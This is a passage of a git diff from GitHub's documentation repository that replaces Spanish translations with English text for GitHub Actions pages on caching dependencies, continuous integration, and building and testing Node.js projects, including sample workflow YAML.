con la lista de `restore-keys`. - - Cuando hay una coincidencia exacta, la acción restaura los archivos en la memoria caché al directorio `path`. - - Si no hay coincidencias exactas, la acción busca coincidencias parciales de las claves de restauración. Cuando la acción encuentra una coincidencia parcial, se restaura la caché más reciente al directorio `path`. -1. La acción `cache` se completa y el siguiente paso en el flujo de trabajo del job se ejecuta. -1. Si el trabajo se completa correctamente, la acción crea una nueva memoria caché con los contenidos del directorio `path`. +1. If you provide `restore-keys`, the `cache` action sequentially searches for any caches that match the list of `restore-keys`. + - When there is an exact match, the action restores the files in the cache to the `path` directory. + - If there are no exact matches, the action searches for partial matches of the restore keys. When the action finds a partial match, the most recent cache is restored to the `path` directory. +1. The `cache` action completes and the next workflow step in the job runs. +1. If the job completes successfully, the action creates a new cache with the contents of the `path` directory. -Para almacenar en caché los archivos en más de un directorio, necesitarás un paso que use la acción [`cache`](https://github.com/actions/cache) para cada directorio. Una vez que creas una caché, no puedes cambiar los contenidos de una memoria caché existente, pero puedes crear una nueva caché con una clave nueva. +To cache files in more than one directory, you will need a step that uses the [`cache`](https://github.com/actions/cache) action for each directory. Once you create a cache, you cannot change the contents of an existing cache but you can create a new cache with a new key. -### Usar contextos para crear claves de caché +### Using contexts to create cache keys -Una clave de caché puede incluir cualquiera de los contextos, funciones, literales y operadores admitidos por {% data variables.product.prodname_actions %}. Para obtener más información, consulta la sección "[Expresiones](/actions/learn-github-actions/expressions)". +A cache key can include any of the contexts, functions, literals, and operators supported by {% data variables.product.prodname_actions %}. For more information, see "[Expressions](/actions/learn-github-actions/expressions)." -Usar expresiones para crear una `key` te permite crear automáticamente una nueva caché cuando las dependencias han cambiado. Por ejemplo, puedes crear una `key` utilizando una expresión que calcule el hash de un archivo `package-lock.json` de npm. +Using expressions to create a `key` allows you to automatically create a new cache when dependencies have changed. For example, you can create a `key` using an expression that calculates the hash of an npm `package-lock.json` file. {% raw %} ```yaml @@ -148,19 +171,19 @@ npm-${{ hashFiles('package-lock.json') }} ``` {% endraw %} -{% data variables.product.prodname_dotcom %} evalúa la expresión `"package-lock.json"` para obtener la última `key`. +{% data variables.product.prodname_dotcom %} evaluates the expression `hash "package-lock.json"` to derive the final `key`. ```yaml npm-d5ea0750 ``` -## Hacer coincidir una clave de caché +## Matching a cache key -La acción `cache` busca primero las coincidencias de caché para `key` y `restore-keys` en la rama que contiene la ejecución del flujo de trabajo. Si no hay coincidencias en la rama actual, la acción `chache` busca a `key` y `restore-keys` en la rama padre y en las ramas ascendentes. +The `cache` action first searches for cache hits for `key` and `restore-keys` in the branch containing the workflow run. If there are no hits in the current branch, the `cache` action searches for `key` and `restore-keys` in the parent branch and upstream branches. -Puedes proporcionar una lista de claves de restauración para usar cuando haya una falta de caché en `key`. Puedes crear múltiples claves de restauración ordenadas desde las más específicas hasta las menos específicas. La acción `cache` busca `restore-keys` en orden secuencial. Cuando una clave no coincide directamente, la acción busca las claves prefijadas con la clave de restauración. Si hay múltiples coincidencias parciales para una clave de restauración, la acción devuelve la caché que se creó más recientemente. +You can provide a list of restore keys to use when there is a cache miss on `key`. You can create multiple restore keys ordered from the most specific to least specific. The `cache` action searches for `restore-keys` in sequential order. When a key doesn't match directly, the action searches for keys prefixed with the restore key. If there are multiple partial matches for a restore key, the action returns the most recently created cache. -### Ejemplo usando múltiples claves de restauración +### Example using multiple restore keys {% raw %} ```yaml @@ -171,7 +194,7 @@ restore-keys: | ``` {% endraw %} -El ejecutor evalúa las expresiones, que resuelven estas `restore-keys`: +The runner evaluates the expressions, which resolve to these `restore-keys`: {% raw %} ```yaml @@ -182,13 +205,13 @@ restore-keys: | ``` {% endraw %} -La clave de restauración `npm-foobar-` coincide con cualquier clave que empiece con la cadena `npm-foobar-`. Por ejemplo, ambas claves `npm-foobar-fd3052de` y `npm-foobar-a9b253ff` coinciden con la clave de restauración. Se utilizará la caché con la fecha de creación más reciente. Las claves en este ejemplo se buscan en el siguiente orden: +The restore key `npm-foobar-` matches any key that starts with the string `npm-foobar-`. For example, both of the keys `npm-foobar-fd3052de` and `npm-foobar-a9b253ff` match the restore key. The cache with the most recent creation date would be used. The keys in this example are searched in the following order: -1. **`npm-foobar-d5ea0750`** coincide con un hash específico. -1. **`npm-foobar-`** coincide con claves de caché prefijadas con `npm-foobar-`. -1. **`npm`** coincide con cualquier clave prefijada con `npm`. +1. **`npm-foobar-d5ea0750`** matches a specific hash. +1. **`npm-foobar-`** matches cache keys prefixed with `npm-foobar-`. +1. **`npm-`** matches any keys prefixed with `npm-`. -#### Ejemplo de prioridad de búsqueda +#### Example of search priority ```yaml key: @@ -198,15 +221,15 @@ restore-keys: | npm- ``` -Por ejemplo, si una solicitud de cambios contiene una rama `feature` (el alcance actual) y se dirige a la rama predeterminada (`main`), la acción busca a `key` y a `restore-keys` en el siguiente orden: +For example, if a pull request contains a `feature` branch (the current scope) and targets the default branch (`main`), the action searches for `key` and `restore-keys` in the following order: -1. Clave `npm-feature-d5ea0750` en el alcance de la rama `feature` -1. Clave `npm-feature-` en el alcance de la rama `feature` -2. Clave `npm` en el alcance de la rama `feature` -1. Clave `npm-feature-d5ea0750` en el alcance de la rama `main` -3. Clave `npm-feature-` en el alcance de la rama `main` -4. Clave `npm-` en el alcance de la rama `main` +1. Key `npm-feature-d5ea0750` in the `feature` branch scope +1. Key `npm-feature-` in the `feature` branch scope +2. Key `npm-` in the `feature` branch scope +1. Key `npm-feature-d5ea0750` in the `main` branch scope +3. Key `npm-feature-` in the `main` branch scope +4. Key `npm-` in the `main` branch scope -## Límites de uso y política de desalojo +## Usage limits and eviction policy -{% data variables.product.prodname_dotcom %} eliminará todas las entradas de caché a las que no se haya accedido en más de 7 días. No hay límite en la cantidad de cachés que puedes almacenar, pero el tamaño total de todas las cachés en un repositorio está limitado a 5 GB. Si excedes este límite, {% data variables.product.prodname_dotcom %} guardará tu caché, pero comenzará a desalojar las cachés hasta que el tamaño total sea inferior a 5 GB. +{% data variables.product.prodname_dotcom %} will remove any cache entries that have not been accessed in over 7 days. There is no limit on the number of caches you can store, but the total size of all caches in a repository is limited to 10 GB. If you exceed this limit, {% data variables.product.prodname_dotcom %} will save your cache but will begin evicting caches until the total size is less than 10 GB. diff --git a/translations/es-ES/content/actions/automating-builds-and-tests/about-continuous-integration.md b/translations/es-ES/content/actions/automating-builds-and-tests/about-continuous-integration.md index f456998074..281380a4fe 100644 --- a/translations/es-ES/content/actions/automating-builds-and-tests/about-continuous-integration.md +++ b/translations/es-ES/content/actions/automating-builds-and-tests/about-continuous-integration.md @@ -1,6 +1,6 @@ --- -title: Acerca de la integración continua -intro: 'Con {% data variables.product.prodname_actions %}, puedes crear flujos de trabajo de integración continua (IC) directamente en tu repositorio de {% data variables.product.prodname_dotcom %}.' +title: About continuous integration +intro: 'You can create custom continuous integration (CI) workflows directly in your {% data variables.product.prodname_dotcom %} repository with {% data variables.product.prodname_actions %}.' redirect_from: - /articles/about-continuous-integration - /github/automating-your-workflow-with-github-actions/about-continuous-integration @@ -15,47 +15,47 @@ versions: type: overview topics: - CI -shortTitle: Integración continua +shortTitle: Continuous integration --- {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} {% data reusables.actions.ae-beta %} -## Acerca de la integración continua +## About continuous integration -La integración continua (CI) es una práctica de software que requiere la confirmación de código de forma periódica en un repositorio compartido. La confirmación de código con mayor frecuencia detecta errores más rápido y reduce la cantidad de código que un desarrollador necesita depurar al encontrar la fuente de un error. Las actualizaciones frecuentes de código facilitan también la fusión de cambios de diferentes miembros de un equipo de desarrollo de software. Esto es excelente para los desarrolladores, que pueden dedicar más tiempo a escribir código y menos tiempo a depurar errores o resolver conflictos de fusión. +Continuous integration (CI) is a software practice that requires frequently committing code to a shared repository. Committing code more often detects errors sooner and reduces the amount of code a developer needs to debug when finding the source of an error. Frequent code updates also make it easier to merge changes from different members of a software development team. This is great for developers, who can spend more time writing code and less time debugging errors or resolving merge conflicts. -Al confirmar el código en tu repositorio, puedes crear y probar el código continuamente para asegurarte de que la confirmación no introduzca errores. Tus pruebas pueden incluir limpiadores de código (que verifican el formato de estilo), verificaciones de seguridad, cobertura de código, pruebas funcionales y otras verificaciones personalizadas. +When you commit code to your repository, you can continuously build and test the code to make sure that the commit doesn't introduce errors. Your tests can include code linters (which check style formatting), security checks, code coverage, functional tests, and other custom checks. -Para crear y probar tu código es necesario un servidor. Puedes crear y probar las actualizaciones localmente antes de subir un código a un repositorio o puedes usar un servidor CI que verifique las nuevas confirmaciones de código en un repositorio. +Building and testing your code requires a server. You can build and test updates locally before pushing code to a repository, or you can use a CI server that checks for new code commits in a repository. -## Acerca de la integración continua utilizando {% data variables.product.prodname_actions %} +## About continuous integration using {% data variables.product.prodname_actions %} -{% ifversion ghae %}Tener una IC utilizando {% data variables.product.prodname_actions %} ofrece flujos de trabajo que pueden compilar el código en tu repositorio y ejecutar tus pruebas. Los flujos de trabajo pueden ejecutarse en máquinas virtuales que hospede {% data variables.product.prodname_dotcom %}. Para obtener más información, consulta la sección "[Acerca de los {% data variables.actions.hosted_runner %}](/actions/using-github-hosted-runners/about-ae-hosted-runners)". -{% else %} Tener una IC utilizando {% data variables.product.prodname_actions %} ofrece flujos de trabajo que pueden compilar el código de tu repositorio y ejecutar tus pruebas. Los flujos de trabajo pueden ejecutarse en máquinas virtuales hospedadas en {% data variables.product.prodname_dotcom %}, o en máquinas que hospedes tú mismo. Para obtener más información, consulta las secciones "[Ambientes virtuales para los ejecutores hospedados en {% data variables.product.prodname_dotcom %}](/actions/automating-your-workflow-with-github-actions/virtual-environments-for-github-hosted-runners)" y "[Acerca de los ejecutores auto-hospedados](/actions/automating-your-workflow-with-github-actions/about-self-hosted-runners)". +{% ifversion ghae %}CI using {% data variables.product.prodname_actions %} offers workflows that can build the code in your repository and run your tests. Workflows can run on virtual machines hosted by {% data variables.product.prodname_dotcom %}. For more information, see "[About {% data variables.actions.hosted_runner %}s](/actions/using-github-hosted-runners/about-ae-hosted-runners)." +{% else %} CI using {% data variables.product.prodname_actions %} offers workflows that can build the code in your repository and run your tests. Workflows can run on {% data variables.product.prodname_dotcom %}-hosted virtual machines, or on machines that you host yourself. For more information, see "[Virtual environments for {% data variables.product.prodname_dotcom %}-hosted runners](/actions/automating-your-workflow-with-github-actions/virtual-environments-for-github-hosted-runners)" and "[About self-hosted runners](/actions/automating-your-workflow-with-github-actions/about-self-hosted-runners)." {% endif %} -Puedes configurar tu flujo de trabajo de CI para que se ejecute cuando ocurre un evento {% data variables.product.prodname_dotcom %} (por ejemplo, cuando se sube un nuevo código a tu repositorio), en un horario establecido o cuando se produce un evento externo utilizando el webhook de despacho de repositorio. +You can configure your CI workflow to run when a {% data variables.product.prodname_dotcom %} event occurs (for example, when new code is pushed to your repository), on a set schedule, or when an external event occurs using the repository dispatch webhook. -{% data variables.product.product_name %} ejecuta tus pruebas de IC y proporciona los resultados de cada prueba en la solicitud de extracción para que puedas ver si el cambio en tu rama introduce un error. Cuando se superan todas las pruebas de CI en un flujo de trabajo, los cambios que subiste están listos para su revisión por parte de un miembro del equipo o para su fusión. Cuando una prueba falla, es posible que uno de tus cambios haya causado la falla. +{% data variables.product.product_name %} runs your CI tests and provides the results of each test in the pull request, so you can see whether the change in your branch introduces an error. When all CI tests in a workflow pass, the changes you pushed are ready to be reviewed by a team member or merged. When a test fails, one of your changes may have caused the failure. -Cuando configuras la IC en tu repositorio, {% data variables.product.product_name %} analiza el código en el mismo y recomienda flujos de trabajo de IC con base en el lenguaje y marco de trabajo de tu repositorio. Por ejemplo, si utilizas [Node.js](https://nodejs.org/en/), {% data variables.product.product_name %} te sugerirá un archivo de plantilla que instala tus paquetes de Node.js y ejecuta tus pruebas. Puedes utilizar la plantilla de flujo de trabajo de IC que {% data variables.product.product_name %} te sugiere, personalizarla, o crear tu propio archivo de flujo de trabajo personalizado para que ejecute tus pruebas de IC. +When you set up CI in your repository, {% data variables.product.product_name %} analyzes the code in your repository and recommends CI workflows based on the language and framework in your repository. For example, if you use [Node.js](https://nodejs.org/en/), {% data variables.product.product_name %} will suggest a template file that installs your Node.js packages and runs your tests. You can use the CI workflow template suggested by {% data variables.product.product_name %}, customize the suggested template, or create your own custom workflow file to run your CI tests. -![Captura de pantalla de plantillas de integración continua sugeridas](/assets/images/help/repository/ci-with-actions-template-picker.png) +![Screenshot of suggested continuous integration templates](/assets/images/help/repository/ci-with-actions-template-picker.png) -Adicionalmente a ayudarte a configurar los flujos de trabajo de IC para tu proyecto, puedes utilizar las {% data variables.product.prodname_actions %} para crear flujos de trabajo através de todo el ciclo de vida de desarrollo de software. Por ejemplo, puedes usar acciones para implementar, empaquetar o lanzar tu proyecto. Para obtener más información, consulta la sección "[Acerca de las {% data variables.product.prodname_actions %}](/articles/about-github-actions)". +In addition to helping you set up CI workflows for your project, you can use {% data variables.product.prodname_actions %} to create workflows across the full software development life cycle. For example, you can use actions to deploy, package, or release your project. For more information, see "[About {% data variables.product.prodname_actions %}](/articles/about-github-actions)." -Para obtener una definición de términos comunes, consulta "[Conceptos básicos para {% data variables.product.prodname_actions %}](/github/automating-your-workflow-with-github-actions/core-concepts-for-github-actions)." +For a definition of common terms, see "[Core concepts for {% data variables.product.prodname_actions %}](/github/automating-your-workflow-with-github-actions/core-concepts-for-github-actions)." -## Plantillas de flujo de trabajo +## Workflow templates -{% data variables.product.product_name %} ofrece plantillas de flujo de trabajo de IC para varios lenguajes y marcos de trabajo. +{% data variables.product.product_name %} offers CI workflow templates for a variety of languages and frameworks. -Busca en la lista completa de plantillas de flujo de trabajo para IC que ofrece {% data variables.product.company_short %} en el repositorio [actions/starter-workflows](https://github.com/actions/starter-workflows/tree/main/ci) de {% ifversion fpt or ghec %}{% else %} repositorio `actions/starter-workflows` en {% data variables.product.product_location %}{% endif %}. +Browse the complete list of CI workflow templates offered by {% data variables.product.company_short %} in the {% ifversion fpt or ghec %}[actions/starter-workflows](https://github.com/actions/starter-workflows/tree/main/ci) repository{% else %} `actions/starter-workflows` repository on {% data variables.product.product_location %}{% endif %}. -## Leer más +## Further reading {% ifversion fpt or ghec %} -- "[Administrar la facturación de {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions)" +- "[Managing billing for {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions)" {% endif %} diff --git a/translations/es-ES/content/actions/automating-builds-and-tests/building-and-testing-nodejs.md b/translations/es-ES/content/actions/automating-builds-and-tests/building-and-testing-nodejs.md index 9e5bb0e699..0715e07423 100644 --- a/translations/es-ES/content/actions/automating-builds-and-tests/building-and-testing-nodejs.md +++ b/translations/es-ES/content/actions/automating-builds-and-tests/building-and-testing-nodejs.md @@ -1,6 +1,6 @@ --- -title: Crear y probar en Node.js -intro: Puedes crear un flujo de trabajo de integración continua (CI) para construir y probar tu proyecto Node.js. +title: Building and testing Node.js +intro: You can create a continuous integration (CI) workflow to build and test your Node.js project. redirect_from: - /actions/automating-your-workflow-with-github-actions/using-nodejs-with-github-actions - /actions/language-and-framework-guides/using-nodejs-with-github-actions @@ -16,7 +16,7 @@ topics: - CI - Node - JavaScript -shortTitle: Crear & probar con Node.js +shortTitle: Build & test Node.js hasExperimentalAlternative: true --- @@ -24,24 +24,24 @@ hasExperimentalAlternative: true {% data reusables.actions.enterprise-github-hosted-runners %} {% data reusables.actions.ae-beta %} -## Introducción +## Introduction -Esta guía te muestra cómo crear un flujo de trabajo de integración continua (CI) que construye y prueba código Node.js. Si tus pruebas de CI se superan, es posible que desees implementar tu código o publicar un paquete. +This guide shows you how to create a continuous integration (CI) workflow that builds and tests Node.js code. If your CI tests pass, you may want to deploy your code or publish a package. -## Prerrequisitos +## Prerequisites -Te recomendamos que tengas una comprensión básica de Node.js, YAML, las opciones de configuración de flujo de trabajo y cómo crear un archivo de flujo de trabajo. Para obtener más información, consulta: +We recommend that you have a basic understanding of Node.js, YAML, workflow configuration options, and how to create a workflow file. For more information, see: -- "[Aprende sobre las {% data variables.product.prodname_actions %}](/actions/learn-github-actions)" -- "[Iniciar con Node.js](https://nodejs.org/en/docs/guides/getting-started-guide/)" +- "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)" +- "[Getting started with Node.js](https://nodejs.org/en/docs/guides/getting-started-guide/)" {% data reusables.actions.enterprise-setup-prereq %} -## Comenzar con una plantilla de flujo de trabajo de Node.js +## Starting with the Node.js workflow template -{% data variables.product.prodname_dotcom %} proporciona una plantilla de flujo de trabajo de Node.js que funcionará para la mayoría de los proyectos Node.js. Esta guía incluye ejemplos de npm y Yarn que puedes usar para personalizar la plantilla. Para obtener más información, consulta la [Plantilla de flujo de trabajo Node.js](https://github.com/actions/starter-workflows/blob/main/ci/node.js.yml). +{% data variables.product.prodname_dotcom %} provides a Node.js workflow template that will work for most Node.js projects. This guide includes npm and Yarn examples that you can use to customize the template. For more information, see the [Node.js workflow template](https://github.com/actions/starter-workflows/blob/main/ci/node.js.yml). -Para comenzar rápidamente, agrega la plantilla al directorio `.github/workflows` de tu repositorio. El flujo de trabajo que se muestra a continuación asume que la rama predeterminada de tu repositorio es `main`. +To get started quickly, add the template to the `.github/workflows` directory of your repository. The workflow shown below assumes that the default branch for your repository is `main`. {% raw %} ```yaml{:copy} @@ -76,15 +76,15 @@ jobs: {% data reusables.github-actions.example-github-runner %} -## Especificar la versión de Node.js +## Specifying the Node.js version -La forma más fácil de especificar una versión de Node.js es por medio de la acción `setup-node` proporcionada por {% data variables.product.prodname_dotcom %}. Para obtener más información, consulta [`setup-node`](https://github.com/actions/setup-node/). +The easiest way to specify a Node.js version is by using the `setup-node` action provided by {% data variables.product.prodname_dotcom %}. For more information see, [`setup-node`](https://github.com/actions/setup-node/). -La acción `setup-node` toma una versión de Node.js como una entrada y configura esa versión en el ejecutor. La acción `setup-node` encuentra una versión específica de Node.js de la caché de herramientas en cada ejecutor y añade los binarios necesarios a `PATH`, que continúan para el resto del trabajo. Usar la acción `setup-node` es la forma recomendada de usar Node.js con {% data variables.product.prodname_actions %} porque asegura un comportamiento consistente a través de diferentes ejecutores y diferentes versiones de Node.js. Si estás usando un ejecutor autoalojado, debes instalar Node.js y añadirlo a `PATH`. +The `setup-node` action takes a Node.js version as an input and configures that version on the runner. The `setup-node` action finds a specific version of Node.js from the tools cache on each runner and adds the necessary binaries to `PATH`, which persists for the rest of the job. Using the `setup-node` action is the recommended way of using Node.js with {% data variables.product.prodname_actions %} because it ensures consistent behavior across different runners and different versions of Node.js. If you are using a self-hosted runner, you must install Node.js and add it to `PATH`. -La plantilla incluye una estrategia de matriz que crea y prueba tu código con cuatro versiones de Node.js: 10.x, 12.x, 14.x, y 15.x. La 'x' es un carácter comodín que coincide con el último lanzamiento menor y de parche disponible para una versión. Cada versión de Node.js especificada en la matriz `node-version` crea un trabajo que ejecuta los mismos pasos. +The template includes a matrix strategy that builds and tests your code with four Node.js versions: 10.x, 12.x, 14.x, and 15.x. The 'x' is a wildcard character that matches the latest minor and patch release available for a version. Each version of Node.js specified in the `node-version` array creates a job that runs the same steps. -Cada trabajo puede acceder al valor definido en la matriz `node-version` por medio del contexto `matrix`. La acción `setup-node` utiliza el contexto como la entrada `node-version`. La acción `setup-node` configura cada trabajo con una versión diferente de Node.js antes de construir y probar código. Para obtener más información acerca de las estrategias y los contextos de la matriz, consulta las secciones "[Sintaxis de flujo de trabajo para las {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idstrategymatrix)" y "[Contextos](/actions/learn-github-actions/contexts)". +Each job can access the value defined in the matrix `node-version` array using the `matrix` context. The `setup-node` action uses the context as the `node-version` input. The `setup-node` action configures each job with a different Node.js version before building and testing code. For more information about matrix strategies and contexts, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idstrategymatrix)" and "[Contexts](/actions/learn-github-actions/contexts)." {% raw %} ```yaml{:copy} @@ -101,7 +101,7 @@ steps: ``` {% endraw %} -Como alternativa, puedes construir y probar con las versiones exactas de Node.js. +Alternatively, you can build and test with exact Node.js versions. ```yaml{:copy} strategy: @@ -109,7 +109,7 @@ strategy: node-version: [8.16.2, 10.17.0] ``` -O bien, puedes construir y probar mediante una versión única de Node.js. +Or, you can build and test using a single version of Node.js too. {% raw %} ```yaml{:copy} @@ -134,20 +134,20 @@ jobs: ``` {% endraw %} -Si no especificas una versión de Node.js, {% data variables.product.prodname_dotcom %} utiliza la versión de Node.js por defecto del entorno. -{% ifversion ghae %} Consulta la sección "[Crear imágenes personalizadas](/actions/using-github-hosted-runners/creating-custom-images)" para obtener instrucciones para asegurarte de que tu {% data variables.actions.hosted_runner %} tiene instalado el software necesario. -{% else %} Para obtener más información, consulta la sección "[Especificaciones para los ejecutores hospedados en {% data variables.product.prodname_dotcom %}](/actions/reference/specifications-for-github-hosted-runners/#supported-software)". +If you don't specify a Node.js version, {% data variables.product.prodname_dotcom %} uses the environment's default Node.js version. +{% ifversion ghae %} For instructions on how to make sure your {% data variables.actions.hosted_runner %} has the required software installed, see "[Creating custom images](/actions/using-github-hosted-runners/creating-custom-images)." +{% else %} For more information, see "[Specifications for {% data variables.product.prodname_dotcom %}-hosted runners](/actions/reference/specifications-for-github-hosted-runners/#supported-software)". {% endif %} -## Instalar dependencias +## Installing dependencies -Los ejecutores alojados en {% data variables.product.prodname_dotcom %} tienen instalados administradores de dependencias de npm y Yarn. Puedes usar npm y Yarn para instalar dependencias en tu flujo de trabajo antes de construir y probar tu código. Los ejecutores Windows y Linux alojados en {% data variables.product.prodname_dotcom %} también tienen instalado Grunt, Gulp y Bower. +{% data variables.product.prodname_dotcom %}-hosted runners have npm and Yarn dependency managers installed. You can use npm and Yarn to install dependencies in your workflow before building and testing your code. The Windows and Linux {% data variables.product.prodname_dotcom %}-hosted runners also have Grunt, Gulp, and Bower installed. -Cuando utilizas ejecutores hospedados en {% data variables.product.prodname_dotcom %}, también puedes guardar las dependencias en el caché para acelerar tu flujo de trabajo. Para obtener más información, consulta la sección "Almacenar las dependencias en caché para agilizar los flujos de trabajo". +When using {% data variables.product.prodname_dotcom %}-hosted runners, you can also cache dependencies to speed up your workflow. For more information, see "Caching dependencies to speed up workflows." -### Ejemplo con npm +### Example using npm -Este ejemplo instala las dependencias definidas en el archivo *package.json*. Para obtener más información, consulta [`Instalar npm`](https://docs.npmjs.com/cli/install). +This example installs the dependencies defined in the *package.json* file. For more information, see [`npm install`](https://docs.npmjs.com/cli/install). ```yaml{:copy} steps: @@ -160,7 +160,7 @@ steps: run: npm install ``` -Mediante `npm ci` se instalan las versiones en el archivo *package-lock.json* o *npm-shrinkwrap.json* y se evitan las actualizaciones al archivo de bloqueo. Usar `npm ci` generalmente es más rápido que ejecutar `npm install`. Para obtener más información, consulta [`npm ci`](https://docs.npmjs.com/cli/ci.html) e [Introducir `npm ci` para construcciones más rápidas y confiables](https://blog.npmjs.org/post/171556855892/introducing-npm-ci-for-faster-more-reliable)." +Using `npm ci` installs the versions in the *package-lock.json* or *npm-shrinkwrap.json* file and prevents updates to the lock file. Using `npm ci` is generally faster than running `npm install`. For more information, see [`npm ci`](https://docs.npmjs.com/cli/ci.html) and "[Introducing `npm ci` for faster, more reliable builds](https://blog.npmjs.org/post/171556855892/introducing-npm-ci-for-faster-more-reliable)." {% raw %} ```yaml{:copy} @@ -175,9 +175,9 @@ steps: ``` {% endraw %} -### Ejemplo con Yarn +### Example using Yarn -Este ejemplo instala las dependencias definidas en el archivo *package.json*. Para obtener más información, consulta [`Instalar yarn`](https://yarnpkg.com/en/docs/cli/install). +This example installs the dependencies defined in the *package.json* file. For more information, see [`yarn install`](https://yarnpkg.com/en/docs/cli/install). ```yaml{:copy} steps: @@ -190,7 +190,7 @@ steps: run: yarn ``` -De forma alternativa, puede pasar `--frozen-lockfile` para instalar las versiones en el archivo *yarn.lock* y evitar actualizaciones al archivo *yarn.lock*. +Alternatively, you can pass `--frozen-lockfile` to install the versions in the *yarn.lock* file and prevent updates to the *yarn.lock* file. ```yaml{:copy} steps: @@ -203,15 +203,15 @@ steps: run: yarn --frozen-lockfile ``` -### Ejemplo de uso de un registro privado y la creación del archivo .npmrc +### Example using a private registry and creating the .npmrc file {% data reusables.github-actions.setup-node-intro %} -Para autenticar tu registro privado, necesitarás almacenar tu token de autenticación de npm como un secreto. Por ejemplo, crea un repositorio secreto que se llame `NPM_TOKEN`. Para más información, consulta "[Crear y usar secretos cifrados](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)." +To authenticate to your private registry, you'll need to store your npm authentication token as a secret. For example, create a repository secret called `NPM_TOKEN`. For more information, see "[Creating and using encrypted secrets](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)." -En el siguiente ejemplo, el secreto `NPM_TOKEN` almacena el token de autenticación npm. La acción `setup-node` configura el archivo *.npmrc* para leer el token de autenticación npm desde la variable de entorno `NODE_AUTH_TOKEN`. Cuando utilices la acción `setup-node` para crear un archivo *.npmrc*, debes configurar la variable de ambiente `NODE_AUTH_TOKEN` con el secreto que contiene tu token de autenticación de npm. +In the example below, the secret `NPM_TOKEN` stores the npm authentication token. The `setup-node` action configures the *.npmrc* file to read the npm authentication token from the `NODE_AUTH_TOKEN` environment variable. When using the `setup-node` action to create an *.npmrc* file, you must set the `NODE_AUTH_TOKEN` environment variable with the secret that contains your npm authentication token. -Antes de instalar dependencias, utiliza la acción `setup-node` para crear el archivo *.npmrc*. La acción tiene dos parámetros de entrada. El parámetro `node-version` establece la versión de Node.js y el parámetro `registry-url` establece el registro predeterminado. Si tu registro de paquetes usa ámbitos, debes usar el parámetro `scope`. Para obtener más información, consulta [`npm-scope`](https://docs.npmjs.com/misc/scope). +Before installing dependencies, use the `setup-node` action to create the *.npmrc* file. The action has two input parameters. The `node-version` parameter sets the Node.js version, and the `registry-url` parameter sets the default registry. If your package registry uses scopes, you must use the `scope` parameter. For more information, see [`npm-scope`](https://docs.npmjs.com/misc/scope). {% raw %} ```yaml{:copy} @@ -231,7 +231,7 @@ steps: ``` {% endraw %} -El ejemplo anterior crea un archivo *.npmrc* con el siguiente contenido: +The example above creates an *.npmrc* file with the following contents: ```ini //registry.npmjs.org/:_authToken=${NODE_AUTH_TOKEN} @@ -239,11 +239,11 @@ El ejemplo anterior crea un archivo *.npmrc* con el siguiente contenido: always-auth=true ``` -### Ejemplo de dependencias en caché +### Example caching dependencies -Cuando utilices ejecutores hospedados en {% data variables.product.prodname_dotcom %}, puedes guardarlos en caché y restablecer las dependencias utilizando la [acción `setup-node`](https://github.com/actions/setup-node). +When using {% data variables.product.prodname_dotcom %}-hosted runners, you can cache and restore the dependencies using the [`setup-node` action](https://github.com/actions/setup-node). -El siguiente ejemplo guarda las dependencias en caché para npm. +The following example caches dependencies for npm. ```yaml{:copy} steps: - uses: actions/checkout@v2 @@ -255,7 +255,7 @@ steps: - run: npm test ``` -El siguiente ejemplo guarda las dependencias en caché para Yarn. +The following example caches dependencies for Yarn. ```yaml{:copy} steps: @@ -268,7 +268,7 @@ steps: - run: yarn test ``` -El siguiente ejemplo guarda las dependencias en caché para pnpm (v6.10+). +The following example caches dependencies for pnpm (v6.10+). ```yaml{:copy} {% data reusables.actions.actions-not-certified-by-github-comment %} @@ -288,11 +288,11 @@ steps: - run: pnpm test ``` -Para guardar las dependencias en caché, debes tener un archivo de `package-lock.json`, `yarn.lock`, o `pnpm-lock.yaml` en la raíz del repositorio. Si necesitas una personalización más flexible, puedes utilizar la [`acción cache`](https://github.com/marketplace/actions/cache). Para obtener más información, consulta la sección "Almacenar las dependencias en caché para agilizar los flujos de trabajo". +If you have a custom requirement or need finer controls for caching, you can use the [`cache` action](https://github.com/marketplace/actions/cache). For more information, see "Caching dependencies to speed up workflows". -## Construir y probar tu código +## Building and testing your code -Puedes usar los mismos comandos que usas de forma local para construir y probar tu código. Por ejemplo, si ejecutas `npm run build` para ejecutar pasos de construcción definidos en tu archivo *package.json* y `npm test` para ejecutar tu conjunto de pruebas, añadirías esos comandos en tu archivo de flujo de trabajo. +You can use the same commands that you use locally to build and test your code. For example, if you run `npm run build` to run build steps defined in your *package.json* file and `npm test` to run your test suite, you would add those commands in your workflow file. ```yaml{:copy} steps: @@ -306,10 +306,10 @@ steps: - run: npm test ``` -## Empaquetar datos de flujo de trabajo como artefactos +## Packaging workflow data as artifacts -Puedes guardar los artefactos de tus pasos de construcción y prueba para verlos después de que se complete un trabajo. Por ejemplo, es posible que debas guardar los archivos de registro, los vaciados de memoria, los resultados de las pruebas o las capturas de pantalla. Para obtener más información, consulta "[Conservar datos de flujo de trabajo mediante artefactos](/actions/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts)." +You can save artifacts from your build and test steps to view after a job completes. For example, you may need to save log files, core dumps, test results, or screenshots. For more information, see "[Persisting workflow data using artifacts](/actions/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts)." -## Publicar en registros de paquetes +## Publishing to package registries -Puedes configurar tu flujo de trabajo para que publique tu paquete Node.js en un registro de paquete después de que se aprueben tus pruebas de CI. Para obtener más información acerca de la publicación a npm y {% data variables.product.prodname_registry %}, consulta [Publicar paquetes Node.js](/actions/automating-your-workflow-with-github-actions/publishing-nodejs-packages)." +You can configure your workflow to publish your Node.js package to a package registry after your CI tests pass. For more information about publishing to npm and {% data variables.product.prodname_registry %}, see "[Publishing Node.js packages](/actions/automating-your-workflow-with-github-actions/publishing-nodejs-packages)." diff --git a/translations/es-ES/content/actions/creating-actions/creating-a-javascript-action.md b/translations/es-ES/content/actions/creating-actions/creating-a-javascript-action.md index dbb93fa0d9..660ebfdd95 100644 --- 